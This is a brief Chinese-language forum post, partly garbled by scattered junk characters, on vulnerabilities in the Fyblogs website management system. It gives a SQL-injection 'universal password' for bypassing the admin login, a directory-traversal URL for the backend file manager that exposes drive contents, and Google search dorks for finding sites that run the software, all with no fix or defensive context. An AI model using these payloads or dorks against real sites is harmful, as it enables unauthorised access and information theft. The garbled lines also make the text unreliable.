Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'

后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
2 c2 S2 @( e7 k  n/ ~, E% G5 vadmin/uploadfile.asp?currentFolder=/upfiles/../
. }5 t- u) J% m. z  u: R
; X; _2 K7 U4 U漏洞证明：

3 r' ]$ s, t& s* G: X谷歌：inurl:type.asp?id=1 新闻中心
. _& {2 z# _4 T; Q5 M" M8 j或者 ：inurl:download_ok.asp?

; H; w+ l' b7 w3 R/ J+ {; Z2 |